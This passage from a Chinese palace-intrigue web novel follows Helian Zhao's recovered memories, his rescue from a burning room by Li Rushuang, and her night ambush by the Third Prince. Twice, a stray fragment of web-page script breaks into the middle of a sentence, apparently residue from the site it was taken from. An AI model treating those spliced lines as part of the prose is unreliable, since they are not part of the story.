洞中寂静非常,他自己的脚步声清晰可闻,赫连昭不敢放松警惕。过了一会儿,赫连昭约莫自己已经走了一千八百步,洞穴之景却没有变过。 忽而,他耳朵微动,远处有两人窃窃私语,他耳力很好,即刻分辨出了方位,朝着东北方前行。 “都什么时候了,你还逗我。” 这是她?公主的声音,赫连昭更加紧了脚步,紧接着他又听到了一个男声。 “咱们一时半会还出不去,不如等着我哥来救。” 赫连昭突地顿住,这声音他熟悉得不能再熟悉,因为这声音就是他的。 他眼神骇然抖动着,定了定心神,朝着那两人的私语声前去。 走着走着出现了一处光亮,只见“他”与公主并排坐在洞中调笑着。 公主捏了“赫连昭”一把,似是在生气“赫连昭”刚刚的所作所为。 而他就在一旁看着“自己”与公主,场面出奇地诡异。火折子突然发出了爆破声,赫连昭惊怕地看着坐着的两人,但那两人却好似看不到他,也听不到他的声音,仍在说着悄悄话。 他行至二人面前,仔细地观察着,难道这幻境中只有这一个场景?赫连昭知道自己丢失了一些记忆,那日在山洞中,雪蚺津液进入体内,使他体内气血翻涌,加上鹑火杀母籽飘出毒香显现的幻境,他看到了以前的事情。 既然这两样东西对他恢复记忆有益,赫连昭当下就留了个心眼,把它们都收于囊中,等到四下无人之时,便可以再重回幻境。 忽然幻境中的“赫连昭”开口将他的思绪拉了回来。 “你说你对我无意,那为何刚刚替我挡下一刀?”他看着“自己”嘴巴一张一合,吐出了让公主感到难为情的话。 公主果然脸上泛起红晕,背对着“自己”,支支吾吾道:“那...那是因为我们是朋友。” 赫连昭脑后突地刺痛,顿时头晕目眩,周围的一切都绕着自己转了起来。赫连昭脚软得站不住,跪在地上以头抢地,火折子也脱离了手落在地上。 闭着眼睛过了许久,抬头一看,二人都消失了。 他慌忙爬起来,恍惚中竟来到了长安城门外。公主拉着“他”依依不舍,旁边还站着兄长、陈无阙、李如羽和琵衔。 “如霜,两年之后我就去找你,一定要等我!” 他为什么叫公主如霜,赫连昭忍着太阳穴旁疼痛跳动的筋,再靠近一些。 两年之后,两年之后,他怎么失约了。 “啊!”赫连昭痛得大叫起来,顿感浑身炙热有如火烤,随即失去了意识。 被赫连昭赶出来的小厮等在门口,突然听到门内自家王子叫喊了一声,突地精神几分。 一缕白烟从里面飘出来,小厮紧着鼻子嗅了嗅,神色变得慌张万分,连忙推开门,白烟已经弥漫整个房间,看不清里面的情况。 “王子!”这里的味道引来了许多下人,他们见房内走水,都走前忙后提着水桶来灭火。 月尔若来赫连昭府上找他,只见到赫连昭屋内浓烟滚滚,顿时傻了眼。 “十王子呢?”她焦急地抓住一个跑来的下人问。 下人冒着汗回道:“王子一回来就把自己关在屋子中,没见王子出来过。” 月尔若担心赫连昭,一瞬间感觉全身僵住住双手颤抖不已。下人见她没有反应,只得拱了拱手,继续舀水去了。 “你们这些吃干饭的,还不快进去找十王子!”李如霜被赫连昭送到太子府门口后,心中多有烦闷,便没有进去,向西伴着黄昏行走,不知不觉就来到了阳华王府。 她驻足停留了一阵,忽而听到府中嘈杂,呼 () { $(''.inform'').remove(); $(''#content'').append('' 喊之声传出门外,定是出了变故,她踏上门头几步就落在赫连昭屋外。 火势浩大,这些贪生怕死的奴才都不敢进去,她焦急万分。 李如霜拿了一桶水把浑身浇湿,又裹了一张湿布,一下子冲进了火场。 一进去焰火便将汗毛烧得卷曲,她浑身都发痒。“咳咳!赫连昭!”黑烟呛人,李如霜连忙捂了口鼻。 忽地她不知道踢着了什么东西,听着大底是铜制的,叮咣地滚了一段停了下来。 李如霜扑走浓烟,定睛一看原来是个油灯,而油灯靠着一个人。“赫连昭?”李如霜惊喜欲狂,突然梁上咔嚓了两声,她勾起的嘴角僵住,立即用扶蛇卷住掉落的半截椽木,扔到一旁。 紧接着又有半边的椽木掉下,来不及了!李如霜迅速扑到赫连昭身上,硬生生挨了一下。 她噗地吐出一口血,但此时却顾不得体内的伤,这屋子马上就要塌了,得赶紧把赫连昭救出去。 还好赫连昭有五毒体庇佑,没有被火烧伤,她撑着地面,艰难地抬起压在身上的木头。 这一用力牵扯到了内伤,疼得她眼眶不住地颤抖,长痛不如短痛,李如霜吊起内力,猛地将木头撇向一旁。 落地发出巨响,震起了周围的黑烟渣尘,她嗓子痒痛不停地咳嗽。 李如霜背起赫连昭,躲避着从房梁掉落之物,成功将他带离了屋子。 她将赫连昭放在地上,对旁边愣着的月尔若道:“你将他照顾好,我得走了。” 阳华王府失火的消息很快就会传开,到时人一多,知道是她舍身救人,恐会怀疑他们的关系。 她到别的房间洗净脸,找了件干净的衣服换上便离开了王府。 李如霜连走路都是强撑着,扶着墙慢慢走回了太子府。 “你受伤了?”赫连煜神出鬼没,忽地在她身后询问道。 突如其来的声音,惊得李如霜心脏怦怦跳,她有气无力地白了他一眼,咳嗽几声,这烟进了肺里一直呛着她,嗓子难受得很。 “赫连昭府里失火了,我刚把他救出来。”她说完一句又咳嗽起来。 赫连煜脸色巨变,捏住李如霜的脉,眸子眯了起来。 虽然伤得不重,但需尽快治疗。 “你快坐下,我帮你把淤血逼出来!”赫连煜强硬地将她按住,李如霜浑身无力,自是拗不过他。 她盘腿闭上眼睛,感受着赫连煜深厚的内力传入体内。 “你弟还昏迷着,不去看看?” 赫连煜专心帮她疗伤,面无表情道:“你都回来了,证明他没什么大碍,我晚些去也无妨。” 他话音刚落,李如霜顿时喷出一口血,衣襟被染上红色。 赫连煜立即点按她背部两穴,收回了手。 “最近你都别用内力了,以你的身手,伤成这样不容易啊。” 李如霜听着赫连煜的话里带着些揶揄,她此时却无力与他置气,不咸不淡地回一句:“感谢太子的夸奖。” 她不说赫连煜也能猜到,背部淤血最多,要么被内力深厚者的掌劈中,要么就是被什么东西砸到了。 许是李如霜为了赫连昭又做了什么傻事。 26. 被发现了 “赫连昭还没醒吗?”月尔若见御医出来,焦急地问道。 她在门外等待多时,赫连昭被公主救下后就一直昏迷不醒,她担心赫连昭会像两年前一样。 御医提着药箱子对月尔若鞠了一躬道:“月小姐,十王子这种情况老夫也是从没见过,王子的身体与常人不同,从脉象上断不出究竟是何原因呐!” 赫连昭体内奇毒纵横,那脉象就好似中了千百种蛇毒,沉脉无力但偏偏浮脉有十分的劲头,若是一般人,这已经是毒入骨髓,司命之所属,时日无多。 但北寒冰室五毒体不惧毒,纵是御医也瞧不出什么门道,还需请北寒冰室的大夫来一趟。 “在北寒冰室的人来之前,小王子还需自己渡过难关啊!” 月尔若闻言,双手无力地垂在两侧。无论从前还是现在,她都无法帮上他的忙,等在这里终究是徒劳,总得让她看一看赫连昭的样子。 想到这,她推开门快步走向赫连昭的床榻。幔纱飘动,月尔若止住碍事的薄纱,坐在床边。 定定看着赫连昭闭着眼睛的容颜,月尔若眼眶微红,拉起赫连昭的手贴在自己脸上,心中祈祷他赶紧醒过来。 两年前,赫连昭也是这般昏迷了整整十日,御医都说不中了,北寒冰室的人也无法子。 他们几乎都要放弃,将赫连昭埋到地底下去。 那一次把她吓坏了,之后一个月每日都来赫连昭府上,看到他安好自己才放心。 “如霜,李如霜!”赫连昭嘴唇苍白,昏迷中喊着李如霜的名字。 月尔若以为他要苏醒,慌张地摇着他的肩膀。 “赫连昭,你怎么样了?” 她见赫连昭嘴唇动着,于是将耳朵贴在他嘴边。 可赫连昭声音太轻,月尔若实在无法分辨他说的是什么。 另一边太子府内,李如霜得到了赫连昭昏迷不醒的消息,一时心神无主,想要翻墙去找赫连昭,却被赫连煜拦下。 “待会儿我要进宫,你身上有伤还未恢复,不宜动用内力,乖乖在太子府养伤,我回来后再一起去。”赫连煜已经换了一身华服准备进宫。 李如霜巴巴地望着太子府门外,只能点头作罢。 她回到屋内打坐运功,为自己疗伤。虽说被那极重的沉木砸了一下,伤得有些重,但这伤不累及气海,便能恢复得快些。 真气在她周身游走,不到一炷香的时间,她便冒出了虚汗,随即吐出一口淤血。 吐出淤血后李如霜有些昏沉,实在撑不住便心中想着赫连昭睡了过去。 黑暗中,赫连昭在不停地奔跑,他如走马观花一般在幻境中看过了许多画面,记忆如潮水般涌入脑中,他才明白之前自己错得离谱。 “如霜!你在哪啊!”他高声呼喊,可这里却像漫无边际的黑洞,吞噬了他的声响。 是不是他当初没有按时赴约,让如霜生气了,所以她才不出来见自己。 赫连昭喘着粗气停下来,瘫坐在地上,汗水流进眼里,引起一阵刺痛。 他揉着眼睛,回想着过去与李如霜的一点一滴,这次,他都记得。 这次,他一刻都不想忘记。 忽而一股幽香丝丝不绝,赫连昭心中微动,顺着这缕香寻了过去,良久终于碰到了光亮,他欣喜地笑起来。 “如霜,是你吗?” 赫连皇宫,朝政殿内。 此时李如羽也在殿内,赫连煜多少猜到了父王因何让他进宫。如今雪妃已经将毒药解药一并制出,前几日南州国南方战事吃紧,加急送来了战报,他们的援兵万万耽误不得了。 赫连王单指敲着案台对赫连煜说:“今晚即刻启程,老五也跟着你们一起去。” 五王子赫连淳朝赫连煜微微颔首。 赫连煜闻言眉头紧蹙,神情凝滞,赫连王见他似有疑虑便问:“煜儿,你可有什么话要说?” “父王,今晚会不会太过仓促,儿臣想回府上与太子妃见过一面后再走。” 虽然战报上急了些,但父王的决定甚是鲁莽,他总觉得有什么遗漏的地方。看着李如羽的面上倒是没什么异样,只是他答应了李如霜会和她一起去看昭儿,不打招呼就走,怕是不妥。 赫连王听后大笑,调侃赫连煜是个老婆奴。 “你放心,孤会差人给太子妃带话的,战事紧急不可耽搁,你和老五以及南州使臣速速点兵前去。” 赫连煜再无其他言语,即刻便与李如羽赫连淳去了军营。 李如霜再次醒来,屋内漆黑已是夜半三更,这一觉睡得长,她有些浑噩,不知身在何处。 刚刚在梦中,她似乎见到了赫连昭。 李如霜不由得揪住床褥,晃了晃还迷糊的脑袋,赫连煜怎么说这个时候也该回来了,她穿好下人给她准备好的绣鞋,出了房间。 她来到正厅,管事的从大门方向走来,李如霜询问:“王伯,你怎么才回来?” 王伯拂掉身上的灰尘,面色和蔼道:“给太子送些日常用的物件,这才回来。” 看来赫连煜是不回来了,但皇宫内想要什么东西应有尽有,也无需王伯亲自送去。李如霜继续追问:“太子他今晚不回来,有没有让你带什么话?” 王伯吸了一口气,锁眉细想,“这......奴才把东西交给太监就回来了,没有见到太子的面,太子妃有什么重要的事问太子吗?” 李如霜见王伯不知情,便让他回去休息,身后跟来的两个小丫鬟也让她们先回去守着。 她看着王伯离去的方向,暗自思忖,回来怎么一直不见玉棉,这个小丫头又去哪里了。 大厅之内只点了两支蜡烛,风从外面灌进来,李如霜本就手脚虚浮,穿得又单薄,此时从脚底生起一股凉意,全身起了寒粒子。 她坐于厅正中的位子上用内力在全身经脉走了一遍,泛白的嘴唇变得红润。察觉到淤血有所减少,李如霜推算这伤不出十日便全好了。 赫连王将赫连煜留下,估计在为攻打南陵国做部署,这几日赫连煜会十分繁忙,可能没空与她同去阳华王府。 李如霜心中实在放心不下赫连昭,现在回想起赫连昭在火舌中昏迷的情景,她心里都后怕。< () { $(''.inform'').remove(); $(''#content'').append('' /p> 夜深露重,下人都少有走动,不如趁现在溜去阳华王府偷偷看一眼赫连昭,李如霜眼珠子转了一圈最后望向大门。 既然心生念头,她立即行动,门口有侍卫看守,她夜半出去会被发现。 绕了几圈,李如霜躲过巡逻的守卫,来到前几日与赫连昭一起跳进来的墙角,此处长着一人多高的灌木,甚是隐蔽。 李如霜踏着旁边的枝叶纵身一跃,滚到了墙外的地面。这一滚扯到了背部的伤痛,她咬着双唇不让自己发出声音。 她正躺着还没来得及站起身,突然两双暗红色靴头停在她眼前,李如霜顿时感觉一丝不妙。 顺着靴子向上看去,两个包着头巾的男人站在她面前,腰间配刀,看样子是王室的人。 “王嫂,这么晚了去哪啊?”又有一人向她走来。 这声音带着一丝调笑,一双倒吊着的细眼出现在李如霜的视线中。那眼睛此时完全睁开,像是野兽嗅到鲜血一般兴奋。 是赫连郎!李如霜没有料到他会出现在这,她缓缓起身,毫不回避他的直视。 “不知三王子深夜造访有何事啊,我夫君他可不在府中。”素闻这三王子乖觉狠烈,做事不按常理,李如霜打起了十二分精神,警惕地看着赫连郎的一举一动。 不自觉摸上腰间,却空空如也,她眼中闪过一丝慌张,怎么关键时刻,扶蛇没有带在身上。 定是睡觉之时,下人不知道她的规矩,便随意将扶蛇解了放于别处。 赫连郎拿着一把精致的匕首,反复抚摸着,“有一个人,几月前进了太子府就没有出来,这笔账本王今日亲自来向太子妃讨要。” 李如霜轻蔑地瞥了他一眼道:“三王子莫要胡搅蛮缠,来太子府的人那么多,我怎知你要找的是谁。” 几月前,难道是......李如霜突然记起她与赫连昭行军北上之前,有一个人鬼鬼祟祟钻进她屋,被她发现,赫连煜一剑将那人割喉杀死。 那人是赫连郎的近身侍卫,叫什么来着。 “既然太子妃不记得了,那本王好心提醒你一下,那人名叫沮郃。”赫连郎忽然目眦欲裂,贴着李如霜的脑门,在黑暗中显得格外可怖,“我知道他已经被赫连煜杀死了,那我就把赫连煜心爱之人带走,来讨这笔账如何,李如霜!” 李如霜尽管极力保持淡定,但眼中错愕尽显。这三王子何时知道了她的身份,她与赫连煜竟都没察觉到异样。 她紧盯着赫连郎手中的匕首,如果赫连郎有意的话,拔出匕首就可划破她的喉咙。 这赫连郎疯癫至极,李如霜时刻防范着,如果他手上有动作,她就迅速抬手用护腕抵挡。 她装作不知,恼怒道:“三王子,你莫非喝醉了,连我是谁都不认得了吗,休要在这信口开河!” 赫连郎似是觉得有趣,抬手抵着她的下巴逼着李如霜抬头看着自己。 “啧啧,怪不得赫连煜和十弟都对你倾慕有加,这脸蛋谁见了不爱。”他咧着嘴邪性地笑着。 随即将李如霜的脸推向一旁,对身后二人吩咐:“动手!”